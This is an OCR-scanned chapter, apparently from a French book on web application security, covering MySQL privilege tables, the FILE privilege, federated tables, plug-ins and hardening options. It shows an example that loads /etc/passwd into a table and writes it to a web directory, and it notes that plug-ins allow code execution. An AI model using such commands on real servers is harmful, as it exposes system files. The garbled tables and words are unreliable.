Si votre serveur MySQL est destine a fonctionner uniquement avec des clients locaux a 
la machine, et jamais a distance, vous pouvez tout simplement desactiver les fonctions de 
reseau, avec l'option --skip-networking du serveur MySQL. II sera alors impossible de 
communiquer a distance. 

Si vous utilisez MySQL sur un reseau local, il est recommande de bloquer le port 3306 
au niveau du pare -feu qui securise 1' acces au reseau local. De cette maniere, seule une 
machine locale pourra acceder a MySQL. 

Enfin, le protocole de communication de MySQL prend en charge les chiffrements SSL, 
e'est-a-dire que les commandes et donnees qui transitent entre le serveur et le client sont 
chiffrees de maniere a ne jamais etre lisibles facilement par un intermediaire. Si vous 
utilisez MySQL a travers un reseau non protege, c'est la meilleure methode pour vous 
premunir contre 1' interception des communications. 
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Mesures de securite 
pour MySQL 



La gestion des droits de MySQL est un systeme a deux couches. La premiere verifie que 
l'utilisateur a le droit de communiquer avec MySQL. La seconde sert a identifier les opera- 
tions qui sont autorisees et les donnees sur lesquelles ces operations sont applicables. Pour 
maitriser la securite de la base de donnees, il faut bien connaitre les deux systemes. 

Base de donnees mysql 

mysql est la base de donnees reservee par MySQL pour stacker les droits et interdictions 
afferent aux utilisateurs. 

Les tables de cette base ne sont accessibles qu'avec les droits de GRANT, c'est-a-dire 
l'autorisation de gerer les droits sur le serveur. II est alors possible de manipuler les droits 
de deux manieres : 

• La premiere consiste a utiliser les commandes GRANT et REVOKE, qui permettent de faire 
les manipulations necessaires dans les tables, avec effet immediat : apres execution, les 
droits sont effectifs. C'est la methode recommandee par MySQL AB pour modifier 
les droits. 

• Pour la seconde, il s'agit d'utiliser les commandes classiques SELECT, UPDATE, DELETE et 
INSERT avec ces tables. Cette approche est plus efficace quand vient le temps de gerer 
un nombre important d' utilisateurs, ou de faire des mises a jour de masse. D'un autre 
cote, elles sont aussi plus risquees : imaginez une mauvaise manipulation qui conduise 
a l'ecrasement de tous les mots de passe d'un seul coup, comme ceci : 

mysql> UPDATE user SET password=password( 'nouveau' ) ; WHERE user='root' ; 
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Une telle commande force les mots de passe de tout le monde a nouveau. Notez la 
coquille du point-virgule qui est insere au milieu du code. Si cette erreur vous fait 
sourire, n'oubliez jamais qu'il y a toujours deux types d' administrate urs : ceux qui ont 
fait une telle bourde et ceux qui vont la faire. 

Heureusement, vous avez un filet de secours : apres manipulations dans les tables de la 
base mysql, le serve ur ne prend pas immediatement en compte les nouveaux droits. II 
faut lui demander explicitement de recharger les tables avec la commande ou alors 
attendre le prochain demarrage du serveur : 

mysql> FLUSH PRIVILEGES ; 

Avec la commande UPDATE, le serveur n'est pas perdu, mais il est dans un etat haute- 
ment instable : en effet, les anciens droits sont toujours actifs jusqu'au prochain 
redemarrage. 

Cependant, comme UPDATE ne peut pas etre annulee, le serveur ne pourra etre sauve que 
si une sauvegarde des droits a ete faite et peut etre recuperee rapidement. 

Dans le cadre de la securite, les tables qui nous interessent sont les suivantes : 

• user, qui controle les acces au serveur, les droits globaux du serveur et les limitations 
de ressource ; 

• db, qui controle les acces aux bases de donnees ; 

• host, qui complete les acces aux bases de donnees ; 

• tabl es_pri v, qui controle les acces aux tables dans les bases de donnees ; 

• col umns_priv, qui controle les acces aux colonnes dans les tables ; 

• func, qui controle l'utilisation des fonctions utilisateur (malheureusement, elle n'est 
pas encore documented) ; 

• procs_pri v, qui controle les procedures stockees et leur execution. 

Regies d'acces a MySQL 

La premiere couche de protection est principalement geree par trois tables : user, db et host. 

Utilisateurs MySQL 

Dans la base de donnees mysql, la table des utilisateurs (user), est la premiere ligne de 
defense du serveur. C'est dans cette table que Ton configure les noms d'utilisateurs, les 
mots de passe associes, ainsi que les hotes d'origine. 

Cette table comporte trois types de colonnes, en fonction de leur application a la securite : 
les colonnes de connexion, les colonnes d' operations et les colonnes de limitations. Voici 
celles qui nous interessent : 
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mysql> desc user; 

+ + 

| Field | Type 



+ 



Host 


1 

| char(60) 


User 


char(16) 


Password 


char(41) 


ssl_type 


j enum( ' ' , 'ANY' , ' X509 ' , 'SPECIFIED' ) 


ssl_ci pher 


j blob 


x509_issuer 


blob 


x509_subject 


blob 




+ 



+ 



// les autres colonnes seront presentees plus loin dans le chapitre 



Noms d'utilisateurs 

La colonne user contient le nom de l'utilisateur. Elle ne peut pas etre nulle, mais elle 
accepte l'utilisateur sans nom : c'est l'utilisateur anonyme, represente par une chaine vide. 

Mots de passe 

La colonne password contient les mots de passe chiffres, qu'il est impossible de stocker en 
clair. Lorsque vous manipulez cette table, il faut utiliser la fonction passwordO sur les 
mots de passe inseres : 

mysql> insert into mysql .user values ( ' uti 1 isateur ' ,password( 'nouveau' ) , '127.0.0.1') ; 

Comme pour la colonne user, il est possible de laisser password vide : cela signifie que 
l'utilisateur n'a pas besoin de mot de passe pour se connecter. Neanmoins, il est tres 
fortement recommande d'eviter cette situation. Notez aussi qu'un utilisateur qui fournit 
un mot de passe alors qu'il n'en a pas besoin sera refuse. 

Hote de connexion 

Enfin, la colonne host contient le nom de l'hote autorise a se connecter, qui peut etre 
decrit sous forme de nom litteral, tel que www. mysql . corn^ ou alors sous forme d'adresse IP, 
comme 213.136.52.29. 

La colonne host peut aussi contenir des caracteres jokers, qui assouplissent un peu les 
regies : ceci est bien evidemment tres utile pour les connexions a distance avec des 
adresses IP dynamiques. Les caracteres jokers sont les memes que ceux utilises avec 
l'operateur LIKE : %, pour remplacer n'importe quels caracteres arbitraires, et_, pour 
remplacer un caractere unique. Voici quelques exemples : 

213.136.52.29 : IP unique 

213. 136. 52. _ : 213.136.52.0 a 213.136.52.9 

213.136.52.% : 213.136.52.0 a 213.136.52.255 

www.mysql.com : uniquement le site de MySQL 

.mysql.com : tous les sites du domaine MySQL avec 3 caracteres : dev, www, svn 

*»mais pas bugs ou shop. 

%. mysql. com : tous les sites du domaine MySQL 

%mysql.com : tous les domaines qui finissent par mysql.com : www.mysql.com, mais aussi 
*www.sans-mysql .com, www.oracl e-mysql .com 
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L utilisation des jokers doit etre bien surveillee : comme vous pouvez le constater grace 
aux exemples precedents, une configuration mal faite peut facilement conduire a l'ouver- 
ture du serveur a des adresses IP qui n'etaient pas prevues initialement : dans le dernier 
exemple, non seulement les sites de mysql .com, mais aussi bien d'autres, peu recomman- 
dables, sont autorises a se connecter. 

Le caractere joker % peut etre utilise seul dans la colonne host : il remplace alors n'importe 
quelle adresse. C'est Faeces universel. II est recommande de ne jamais l'utiliser et de 
toujours privilegier l'utilisation d'un joker avec du texte litteral. 

Notez aussi que MySQL adopte une approche restrictive lorsqu'il doit ouvrir son acces : 
lorsque le serveur obtient plusieurs lignes issues de la table user, qui verifient chacune les 
contraintes d'hotes, MySQL prendra toujours la ligne qui contient l'hote le plus precis. 

Chiffrement des communications 

La connexion entre le client et le serveur est chiffree en fonction de la configuration utili- 
sed dans la colonne ssl_type. MySQL prend en charge SSL et X509, en fonction de la 
compilation du serveur. Si un chiffrement est configure, il faut alors qu'il soit utilise. 
'ANY' laisse le choix du chiffrement au client, mais exige l'un ou l'autre. La chaine vide, 
' ' , autorise les connexions en clair. 

Les chiffrements de connexion sont recommandes si les donnees transitent par Internet 
ou par un reseau ouvert. Dans le cas d'une connexion locale, ou dans un reseau dont la 
securite est bien maitrisee, l'impact en termes de performances est generalement redhibitoire. 
En ce qui concerne les connexions sur un reseau local, il faut evaluer V amelioration de la 
securite par rapport aux performances. 



Tables de bases et d'hotes 

La table db contient les informations d' acces a une base de donnees pour un utilisateur 
particulier. Apres avoir verifie la connexion a l'aide de la table user, MySQL sait si 
l'utilisateur a des droits d'acces globaux, e'est-a-dire concernant toutes les ressources sur 
le serveur. Lorsqu'un utilisateur est restreint a certaines bases de donnees seulement, 
alors ses droits ne sont pas inscrits dans la table user, mais dans la table db. 

Voici la structure simplified de la table db. 

mysql> desc db; 

+ + + + 



| Field | Type | Null | 





+ 




-+ 


Host 


| char(60) 




| NO 


Db 


| char(64) 




| NO 


User 


| char(16) 




| NO 


Select_priv 


| enum('N' 


'Y') 


| NO 


Insert_priv 


| enum('N' 


'Y') 


| NO 


Update_priv 


| enum('N' 


'Y') 


| NO 


Delete_priv 


| enum('N' 


'Y') 


| NO 
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+ 



Create_priv 


enum( 


N' 


,'Y') 


| NO 


Drop_priv 


enum( 


N' 


,'Y') 


| NO 


Grant_priv 


enum( 


N' 


,'Y') 


| NO 


References_priv 


enum( 


N' 


,'Y') 


| NO 


Index_priv 


enum( 


N' 


,'Y') 


| NO 


Alter_priv 


enum( 


N' 


,'Y') 


| NO 


Create_tmp_tabl e_pri v 


enum( 


N' 


,'Y') 


| NO 


Lock_tables_priv 


enum( 


N' 


,'Y') 


| NO 


Create_view_priv 


enum( 


N' 


,'Y') 


| NO 


Show_view_priv 


enum( 


N' 


,'Y') 


| NO 


Create_routine_priv 


enum( 


N' 


,'Y') 


| NO 


Al ter_routi ne_pri v 


enum( 


N' 


,'Y') 


| NO 


Execute_priv 


enum( 


N' 


,'Y') 


| NO 


+ 






+ 



+ 



20 rows in set (0.11 sec) 



Les colonnes user et host de la table db sont les memes que dans la table user. MySQL se 
sert des valeurs de la table user pour rechercher les memes dans la table db. S'il trouve 
une valeur qui correspond, alors il utilise les droits ainsi trouves. 

La colonne db peut contenir des jokers, exactement comme la colonne host de la 
table user. Les memes recommandations de prudence s'appliquent. Ainsi, si vous voulez 
autoriser un utilisateur a travailler dans plusieurs bases de donnees, vous pouvez lui 
accorder les droits avec la valeur suivante : 

tests; 

Un utilisateur qui dispose de cette configuration pourra travailler dans les tables test, 
testl, test2, test_oui, test_non, test_auchoix, etc. 

Une particularite de la base db est que la valeur de la colonne host peut etre vide. Dans ce 
cas, MySQL recherche les droits dans la table host, a l'aide du nom de la base de donnees 
et de l'hote. Si MySQL trouve une telle ligne, alors les droits de l'utilisateur sont definis 
comme la combinaison logique des valeurs des tables host et db. 

Dans la pratique, host est rarement utilisee. GRANT et REVOKE ne s'en servent jamais, ce qui 
fait que host ne peut etre remplie que manuellement, via les commandes INSERT classiques. 



Gestion des droits 

Apres avoir etabli la connexion avec le serveur, MySQL prend en charge une liste de 
droits. La liste complete couvre a la fois des droits de manipulation des donnees et 
d' administration du serveur. lis ont tous un impact sur la securite. 

Droits sur les donnees 

Les droits de gestion des donnees sont les plus nombreux. lis couvrent les manipulations 
de donnees, avec SELECT, INSERT, UPDATE et DELETE. lis couvrent egalement les tables, avec 
CREATE TABLE, ALTER TABLE et DROP TABLE ; les bases de donnees, avec CREATE DATABASE, 
DROP DATABASE ; les vues, les procedures stockees et les evenements. 



Risques lies aux bases de donnees 

Parte 3 



Outre la liste ci-dessus, deux autres droits sont a connaitre : 

• ALL PRIVILEGES, qui donne un paquet standard de droits pour une utilisation classique 
d'une base de donnees : creation et destruction d'une base, de ses tables et de ses donnees. 
Les seuls droits qui sont omis sont le droit de GRANT et de FILE, que nous verrons 
plus loin. 

• USAGE signifie « aucun droit ». II donne simplement l'autorisation de se connecter au 
serveur et d'utiliser MySQL comme une grosse calculatrice. Apres connexion, une 
commande sans reference a une table fonctionnera, par exemple : 

mysql> SELECT 1+1; 
+ + 

I 1+1 I 
+ + 

I 2 | 
+ + 

1 row in set (0.00 sec) 

Cependant, les commandes qui manipulent des donnees dans les tables seront inoperantes. 
Ce droit est done pratique pour desactiver rapidement tous les droits d'un utilisateur, 
avant de lui composer une selection personnalisee. 

Droits classiques 

Les droits classiques sont generalement donnes a l'aide de ALL PRIVILEGES. Ce paquet est 
pratique pour un utilisateur standard qui va administrer ses donnees et ses tables : comme 
on ne peut pas anticiper les besoins et les requetes, il s'agit d'un paquet complet. 

Pour un site web, la pratique ideale est de configurer un utilisateur pour chaque requete ou 
transaction. Par exemple, si un script PHP a besoin de rechercher des donnees dans une 
table et de noter la recherche dans une deuxieme table, l'ideal est de creer un utilisateur qui 
ait les droits de SELECT dans la table de contenu et le droit d' INSERT dans la table de logs. 

De cette maniere, les injections sont pour la plupart rendues impossibles : en dehors de 
ces tables et des operations specifiques, aucune commande manipulee ne sera autorisee 
par MySQL. 

Toutefois, cela ne protege pas les tables pour lesquelles les droits sont octroyes : ici, la 
table de contenu peut faire l'objet d'une injection, comme un deni de service ou un 
contournement de clause WHERE. 

De plus, cette technique complique considerablement la gestion des scripts web et la 
configuration du serveur SQL, sans compter la surcharge que peut entrainer la manipulation 
de centaines de droits et d'utilisateurs. Par consequent, une application web dispose d'un 
utilisateur SQL specifique, avec des droits assez etendus. 

Une approche plus raisonnable consiste a utiliser deux comptes differents, en plus d'un 
compte d' administrate ur distinct. Les operations web sont plus souvent des operations de 
lecture que d'ecriture. II est alors interessant d' avoir un utilisateur pour les lectures et un 
autre pour les ecritures. 
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Cette approche reste simple et permet egalement d' aborder plus facilement les evolutions 
du serveur SQL vers un systeme de replication ou d'equilibrage de charge. Pour MySQL, 
la replication se configure generalement avec un utilisateur qui se branche sur le maitre 
pour y envoyer les commandes en ecriture, et un utilisateur qui se branche localement 
pour executer les commandes de lecture. 

Finalement, il faut prendre en compte les besoins d' evolution, le cloisonnement securise 
des utilisateurs et la simplicite d' administration d'un tel systeme. Prenez cette liste de 
questions et utilisez-la pour definir vos differents comptes. 

• Est-il pertinent de separer ecriture et lecture ? Si la replication ou une architecture 
evolutive est envisagee, creez deux comptes separes. 

• Est-ce que les manipulations sont conrinees dans une ou quelques base(s) de donnees ? 
Si oui, alors donnez des droits uniquement pour les bases de donnees impliquees et 
excluez les autres. 

• Est-ce que le modele de donnees est stable ? Si les tables sont creees par un processus 
separe de 1' application web, supprimez les droits de gestion des tables aux utilisateurs web. 

Droit de f ichiers 

Parmi tous ces droits MySQL de manipulation de donnees, le droit de FILE est probablement 
celui qui est le plus dangereux au niveau de la securite. 

II permet de lire des fichiers dans le systeme de fichiers pour les importer en base de 
donnees. II permet aussi d' exporter les donnees d'une requete vers un fichier externe. 
Dans le premier cas, on peut se servir de la commande LOAD DATA pour acceder a un 
fichier et le charger en base, d'ou il pourra etre lu ou exporte encore ailleurs. Avec la 
commande SELECT ... INTO OUTFILE, on peut creerun fichier avec les donnees issues de la base. 

mysql> CREATE TABLE "fichiers" ( 

"fichier" TEXT, 
) ENGINE=MyISAM DEFAULT CHARSET=1 ati nl ; 
mysql> LOAD DATA INFILE ' /etc/passwd ' INTO TABLE fichier ; 
mysql> SELECT * FROM fichier INTO OUTFILE ' /home/user/www/web/index. html' ; 

Enfin, la commande LOAD DATA autorise le chargement de fichiers locaux au client MySQL, et 
non plus au serveur. Autrement dit, avec une commande telle que LOAD DATA LOCAL, c'est 
le client qui va puiser les donnees sur sa machine. La documentation MySQL previent 
qu'avec un serveur modifie, on peut utiliser cette commande pour demander au client de 
charger n'importe quel fichier et le transmettre au serveur. 

Apres ce tableau brosse de maniere particulierement sombre, il faut savoir que MySQL a 
mis en place une politique par defaut qui protege le systeme contre ce type de perturbation. 

• II est possible de desactiver le chargement de fichiers distants au moment de la compi- 
lation du serveur et du client avec l'option --enabl e-1 ocal -i nf i 1 e, au moment du lance- 
ment du serveur et du client avec l'option --local -infile=0, ou encore dynamiquement 
avec la variable LOCAL_INFI LE et le droit SUPER : 

jjj mysql> set global LOCAL_INFILE=0; 
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• Si le chargement distant est desactive sur le client ou le serveur, la commande echouera, 
meme si 1' autre programme autorise ces chargements. 

• MySQL ne peut lire que les fichiers en acces universel, ainsi que les fichiers MySQL. 
Cela protege un grand nombre de donnees, notamment les fichiers du systeme. En 
revanche, cela signifie que les fichiers de donnees MySQL sont accessibles depuis le 
serveur : en connaissant les chemins de stockage des donnees, il est done possible de 
contourner le systeme de droits de MySQL, et de charger les donnees d'une table dans 
une base de donnees interdite, en passant par LOAD DATA. 

• MySQL ecrit dans n'importe quel dossier pour lequel il dispose des droits d'ecriture. 
Toutefois, le serveur refuse d'ecraser ou de modifier un fichier existant. 

• Le serveur MySQL ecrit la ou il le peut, en s'attribuant le fichier. Lorsque vous creez 
un export depuis MySQL, les fichiers ne vous appartiendront pas, mais vous pourrez y 
acceder en lecture. II faudra des droits de super-utilisateur pour les supprimer. 

• Une solution pour contourner ce probleme est d'utiliser le client MySQL en ligne de 
commande, ou bien mysql dump, comme ceci : 

mysql -u utilisateur -pMotDePasse -D base -B --skip-column-names -e 'SELECT 

FROM table;' | bzip2 > table. txt.bz2 
mysqldump -u utilisateur -pMotDePasse -D base table > table. sql 

Le droit de FILE illustre clairement l'importance de faire tourner le serveur MySQL avec 
un utilisateur systeme qui n'est pas le super-utilisateur du serveur : ce dernier aurait alors 
acces a de nombreux fichiers vitaux pour le fonctionnement du serveur, en ecriture 
comme en lecture. 



Droits d'administration de MySQL 

MySQL dispose de cinq droits pour gerer 1' administration du serveur. Evidemment, ces 
droits doivent etre distribues avec beaucoup de prudence, de maniere a reduire autant que 
possible les risques. 



Droits de I'administrateur 

Pour les quatre premiers droits, il est facile de comprendre qu'ils doivent rester l'apanage 
de I'administrateur : 

• RELOAD recharge differentes ressources, comme les droits, les threads, les tables, les 
logs, les statuts. Ce rafraichissement est important pour prendre en compte des modi- 
fications dans l'organisation, comme nous l'avons vu pour les droits. Toutefois, cela 
represente un cout important pour le serveur, en termes de nettoyage de ressources et 
d' allocation : il vaut mieux ne pas en abuser. 

• SHUTDOWN eteint tout simplement le serveur. II n'y a pas de droit de STARTUP, pour un 
simple probleme de poule et d'eeuf : le serveur ne pourrait pas recevoir la commande 
qui le lance. 
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• PROCESS liste tous les processus, et surtout ceux qui n'appartiennent pas a l'utilisateur 
courant. II est toujours possible a un utilisateur de voir et terminer ses propres processus. 

• SUPER permet de terminer des processus avec la commande KILL. Vous n'avez pas 
besoin du droit de processus pour tuer des processus, mais cela sera plus pratique pour 
les identifier. 

Droit de donner les droits 

Le cinquieme droit est GRANT. Ce dernier donne l'autorisation a la personne qui en est 
munie d'attribuer a d'autres utilisateurs les droits qu'elle possede, y compris le droit de 
GRANT lui-meme. Cela permet notamment a deux utilisateurs de combiner leurs droits 
d' acces pour augmenter signiricativement leur maitrise du serveur. 

L' aspect viral du droit de GRANT est done a surveiller tout particulierement. 

Cas particuliers des droits 

Le systeme de droits de MySQL presente trois limitations pratiques qui soulevent souvent 
des questions, notamment pour les administrateurs qui proviennent d'autres SGBDR : 

• H n'est pas possible de dissocier les droits des tables des droits des bases. Un utilisateur qui 
possede les droits pour creer des tables dans une base, peut aussi detruire et recreer 
cette base en entier. 

• II n'est pas possible de bloquer explicitement un utilisateur. On ne peut pas indiquer a 
MySQL qu'un hote ne peut jamais se connecter. Cela se fait par defaut : si un hote ne 
dispose d'aucune information dans user, host ou db, alors il ne pourra pas se connecter. 

• La destruction d'une base de donnees ou d'une table n'entraine pas la suppression d'un 
droit. Si vous donnez les droits de bases de donnees a un utilisateur, ce dernier pourra 
detruire sa base de donnees et la recreer autant qu'il le souhaite. Ses droits ne seront 
pas revoques lors de la disparition de la base. C'est un comportement qui est different 
des autres bases de donnees et qui surprend bon nombre d' administrateurs aguerris sur 
d'autres technologies. 

Configuration MySQL 

Les aspects de securite de MySQL se configurent lors du demarrage du demon mysql d, ou 
alors dynamiquement, durant l'execution du serveur, avec la commande SET GLOBAL. 

Compilation 

II n'y a pas d' option particuliere de securite au moment de la compilation. Assurez-vous 
simplement que les fichiers telecharges sont bien les fichiers legitimes de MySQL, a 
l'aide de la somme de controle MD5. 
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Meme avec un coeur mysql standard, il existe plusieurs moyens d'etendre les fonctionna- 
lites de MySQL. 

Moteurs de tables 

MySQL dispose d'un systeme de stockage modulaire : le serveur se charge d'analyser la 
requete SQL et de la convertir en commande, mais il delegue le stockage des donnees a 
des modules, appele moteurs de tables. II y en a de plus en plus : MylSAM (par defaut), 
InnoDB, Falcon, Cluster MySQL, Federated, Blackhole, etc. 

Les moteurs de tables sont compiles avec MySQL et leur liste est identifiee avec la 
commande SHOW VARIABLES : 

mysql> SHOW VARIABLES LIKE , have_%'; 

+ + + 

| Variable_name | Value 





-+ 


have_archive 


| YES 


have_bdb 


| NO 


have_bl ackhol e_engi ne 


j NO 


have_compress 


j YES 


have_crypt 


j YES 


have_csv 


j YES 


have_dynami c_l oadi ng 


| YES 


have_exampl e_engi ne 


j NO 


have_f ederated_engi ne 


j YES 


have_geometry 


j YES 


have_innodb 


j YES 


have_isam 


j NO 


have_merge_engine 


j YES 


have_ndbcl uster 


j DISABLED 


have_openssl 


j DISABLED 


have_query_cache 


j YES 


have_raid 


j NO 


have_rtree_keys 


| YES 


have_symlink 


| YES 

-+ 



19 rows in set (0.00 sec) 



Les lignes marquees NO indiquent que le moteur est indisponible : c'est ici le cas des 
tables ISAM. Les lignes marquees DISABLED indiquent que le moteur est compile avec 
MySQL, mais qu'il a ete desactive au demarrage. II peut etre active en redemarrant le 
serveur, avec l'option adequate. Par exemple, le cluster peut etre active avec l'option 
--with-ndbcl uster. Enfin, les lignes marquees YES indiquent un moteur disponible et active. 

Moteurs de tables a la volee 

A partir de MySQL 5.1, un systeme de moteurs de table dynamique est disponible. II est 
done possible de charger un nouveau moteur de table durant l'execution du serveur. Cela 
se fait avec une commande comme celle-ci : 

mysql > INSTALL PLUGIN ha_example SONAME 'ha_example.so' ; 
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Le moteur de table s'appelle ici ha„exampl e et la bibliotheque partagee qui le complete est 
ha_exampl e . so. Cette bibliotheque doit etre stockee dans le dossier de plug-in de MySQL. 

Pour desinstaller un plug-in, il existe la commande inverse : 

mysql> UNINSTALL PLUGIN ha_exampl e ; 

Ainsi, la commande INSTALL PLUGIN represente un bon moyen pour un pirate de modifier 
les fonctionnalites du serveur MySQL. Pire, s'il est capable de charger une bibliotheque 
dynamique sur le serveur, il pourra aussi executer son propre code. 

Actuellement, depuis la version 5.1.14, il faut avoir les droits d'insertion dans la table 
pi ugin de la base mysql pour pouvoir executer cette commande. De plus, la bibliotheque 
doit etre placee dans le dossier de plug-in de 1' installation MySQL. Cela devrait assurer 
un niveau de securite suffisant. 

A l'avenir, il faudra surveiller cette interface et les autorisations de la table pi ug in. 
Un moteur reseau : federated 

Le moteur federated a ete ajoute en MySQL 5.0. II se connecte a distance sur un autre 
serveur SQL, MySQL ou autre, et relaie les commandes depuis le serveur local vers le 
serveur distant, pour execution. Les donnees obtenues sont alors rapatriees et affichees 
localement. 

Le moteur federated ouvre done le serveur local a des serveurs distants. Du point de vue 
de la securite, les problemes qui surgissent sont de deux natures. 

• Premierement, il est maintenant possible d'acceder aux donnees d'une table federee en 
attaquant le serveur qui y accede. Si le serveur A dispose d'une table federee sur le 
serveur B, alors une vulnerability dans A rendra B vulnerable, d'autant qu'il est 
possible d'obtenir les informations de connexion a une table federee via la commande 
SHOW CREATE TABLE. 

mysql) show create table federee; 

+ + + 

| table | CREATE TABLE 'federee' ( 



1 row in set (0.02 sec) 

Le nom d'utilisateur, le mot de passe et l'hote du serveur distant apparaissent en clair 
dans la description de la table. Comme precedemment, la meilleure strategie sera de 
limiter l'acces d'un utilisateur de table federee aux seules tables qu'il est cense mani- 
puler, arm de limiter les consequences en cas de compromission de l'acces. 

• Deuxiemement, un serveur qui dispose des tables federees est maintenant capable 
d'acceder a des serveurs distants. On peut done se servir du serveur courant pour tenter 



"colonne" int(10) unsigned NOT NULL 



ENGI NE=FEDERATED DEFAULT CHARSET-latinl | 
C0NNECTI0N='mysql : //utilisateur :secret@192. 168. 123. 146 : 3306/base/tabl e ' | 



+ 



+ 



+ 
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d'acceder a d'autres hotes, tout en masquant ses propres traces. En effet, avec une table 
federee, c'est le serveur MySQL qui se connecte, et non plus l'utilisateur MySQL. 
Dans la mesure ou elles ne sont pas utilisees, il est recommande de ne pas activer les 
tables federees par defaut. 



Procedures stockees 

Les procedures stockees presentent des risques de securite semblables aux commandes SQL 
classiques. II est possible de realiser les memes commandes via une procedure (ou fonction) 
stockee, qu'avec une transaction ou un ensemble de commandes SQL : effacement, deni 
de service, modification, etc. 

La securite des procedures stockees provient du fait que les auteurs de ces procedures 
sont generalement des humains et non pas des scripts. Ces fonctionnalites sont done vali- 
dees avant d'etre implementees. Le corollaire de cette constatation est done qu'il faut 
eviter de donner les droits de creation des procedures stockees aux utilisateurs web, mais 
les cantonner aux droits d' execution de ces fonctions. 

Les procedures stockees sont regies par deux types de droits : les droits de creation et les 
droits d'execution. Les premiers couvrent la creation, la modification et l'effacement de 
la procedure, avec les droits CREATE ROUTINE et ALTER ROUTINE. Ce sont des commandes 
administratives. II est recommande de ne pas les distribuer trap facilement. 

Le deuxieme jeu de droits couvre l'execution. C'est le droit d' EXECUTE, qui peut etre global, 
ou limite a toutes les procedures stockees associees a une base de donnees specifique, ou 
encore limite a une seule procedure particuliere. 

Pour 1' execution, un deuxieme jeu de droits intervient. A la creation, la procedure est 
configuree pour utiliser les droits de l'auteur, DEFINER, ou de l'appelant, INVOKER. 

• Avec le niveau de securite INVOKER, la procedure stockee va s'executer en utilisant les 
droits dont dispose l'utilisateur qui appelle la procedure. Si la procedure intervient sur 
une table qui n'est pas accessible a l'utilisateur qui s'en sert, la commande va retourner 
une erreur de droit classique. 

• Avec le niveau de securite DEFINER, la procedure stockee va s'executer avec les droits 
dont dispose l'auteur de la procedure. Cela peut donner acces a certaines tables que 
l'utilisateur appelant ne peut atteindre autrement. 

Dans la definition des procedures stockees, c'est la clause SQL SECURITY qui indique le 
niveau de securite utilise. Par defaut, c'est le droit de l'auteur qui est pris en compte. 

Outre les procedures stockees, les declencheurs, aussi appeles triggers, permettent 
d' installer des operations automatiques sur le serveur, de maniere totalement transparente 
pour les utilisateurs. Un declencheur qui copie des valeurs lors de l'insertion dans une 
table vers une autre table, ou une table federee est assimilable a un espion. 

II faut done surveiller les droits lies aux procedures stockees. L'autorisation d'execution 
peut etre assez souple, mais la creation doit etre surveillee de pres. 
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Interface modulaire de MySQL 

MySQL a mis au point differents systemes pour aj outer des fonctionnalites au serveur 
sans toucher a la structure de ce dernier : il s'agit des UDF et, dans les versions plus recentes, 
des plug-ins. 

Fonctions des utilisateurs : UDF 

UDF signifie User Defined Functions. Les UDF sont des fonctions supplementaires 
developpees en C. Elles peuvent etre compilees avec MySQL ou bien separement puis 
ajoutees dynamiquement au serveur en fonctionnement. A partir de la, elles sont incluses 
dans la bibliotheque standard de MySQL et s'utilisent comme n'importe quelle autre 
fonction MySQL. 

Les UDF chargees dynamiquement posent les memes problemes de securite que les plug-ins 
ou les moteurs de table, puisqu'il s'agit d'objets fusionnes avec le serveur a partir de 
commandes issues du client. 

Modules et plug-ins MySQL 

Les plug-ins de MySQL sont les heritiers des UDF. lis sont disponibles a partir de 
MySQL 5.1. II est prevu qu'ils remplacent definitivement les UDF. Pour la version 5.1, 
les plug-ins ont des applications pour les analyseurs de texte integral et devraient 
progressivement gagner le reste du serveur. 

Actuellement, il faut avoir les droits d' insertion dans la table mysql.plug-in pour pouvoir 
charger et decharger un nouveau plug-in. L'interface des modules dynamiques est en 
developpement prioritaire pour la version 5.1 et devrait evoluer dans les prochaines 
versions de MySQL. Les aspects securite sont encore difficiles a cerner, mais il faudra les 
surveiller de pres. 

Les precautions d'usage sont les memes que pour les modules de tables charges dynami- 
quement. 

Directives de configuration 

Void une liste d'options de configuration pour MySQL permettant de renforcer la securite. 
La liste est divisee en deux categories : une pour le serveur et une autre pour le client. 

Options de configuration pour le serveur 

• --1 ocal -i nf i 1 e=0 interdit le chargement de fichiers provenant du client dans le serveur. 
Lorsqu'elle est desactivee, cette option impose que les fichiers charges soient sur le 
systeme local pour etre lus. II est recommande de la desactiver. 

• --old-password force Tutilisation de l'ancien systeme de mots de passe de MySQL. II 
est moins securise que le nouveau, qui a ete introduit en version 4. 1 . Dans la mesure du 
possible, evitez cette option. 
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• --secure-auth est le contraire de --old-passwords : cette option interdit les connexions 
qui utilisent l'ancienne methode d' identification, moins securisee. II est recommande 
de l'utiliser. 

• --port=n : par defaut, le port est le 3306. C'est une bonne pratique que de le changer 
pour une autre valeur, arm de ne pas utiliser une configuration par defaut. II faut alors 
preciser le nouveau port a tous les clients qui se connectent. 

• --safe-user-create : un utilisateur peut creer un autre utilisateur avec le droit de GRANT 
s'il dispose du droit d'insertion dans la table mysql . user. Cela ajoute une protection de 
plus lors de 1' utilisation de ce type de droits. 

• --skip-grant-tables desactive les tables de droits MySQL et desactive ainsi tout le 
systeme de droits. Cette option est utile pour reprendre la main sur un serveur dont on 
a perdu les acces, mais represente un moyen facile pour contourner les defenses du 
serveur. II faut alors que les utilisateurs systeme (pas MySQL), qui sont capables 
d' arreter le serveur et de le relancer, soient des utilisateurs de confiance. Cette option 
ne sert que dans les cas d'urgence, pour reprendre la main sur un serveur dont on a 
perdu Faeces. 

• --skip-name-resolve desactive la resolution de noms et force l'utilisation des adresses IP 
pour realiser les identifications d'hote via le reseau. Cette mesure est plus stride que 
lorsque les noms de domaines sont autorises, puisque ces derniers sont plus complexes et 
peuvent etre reconfigures d'une IP a l'autre. Lorsque c'est possible, utilisez cette option. 

• --allow-suspicous-udf controle le chargement des bibliotheques externes qui posse- 
dent uniquement un xxx comme fonction principale. Par defaut, MySQL verifie qu'il y 
a au moins un symbole auxiliaire disponible, ce qui evite de charger des bibliotheques qui 
ne sont pas faites pour servir d'UDF dans le serveur. II est recommande de la desactiver. 

• --chroot : le serveur mysql d est enferme dans une partie du systeme de fichiers a l'aide 
de la commande systeme chroot( ). Cela garantit que MySQL ne pourra pas acceder aux 
fichiers hors d'un dossier bien defini, lors de son utilisation des ressources du systeme. 

• --open-files-limit limite le nombre de pointeurs de fichiers que MySQL utilise. Si 
cette valeur vaut 0, mysql d calcule une limite assez genereuse, en fonction de votre 
systeme. Sinon, il prend la valeur fournie. Cette valeur doit laisser la place au systeme 
pour fonctionner sans etre perturbe par MySQL. 

• --skip-networking desactive les interfaces reseau de MySQL. Si votre serveur n'est 
utilise que localement, cela ferme toutes les portes d' acces direct au serveur via le 
reseau. II est alors recommande de l'utiliser. 

Options de configuration pour le client 

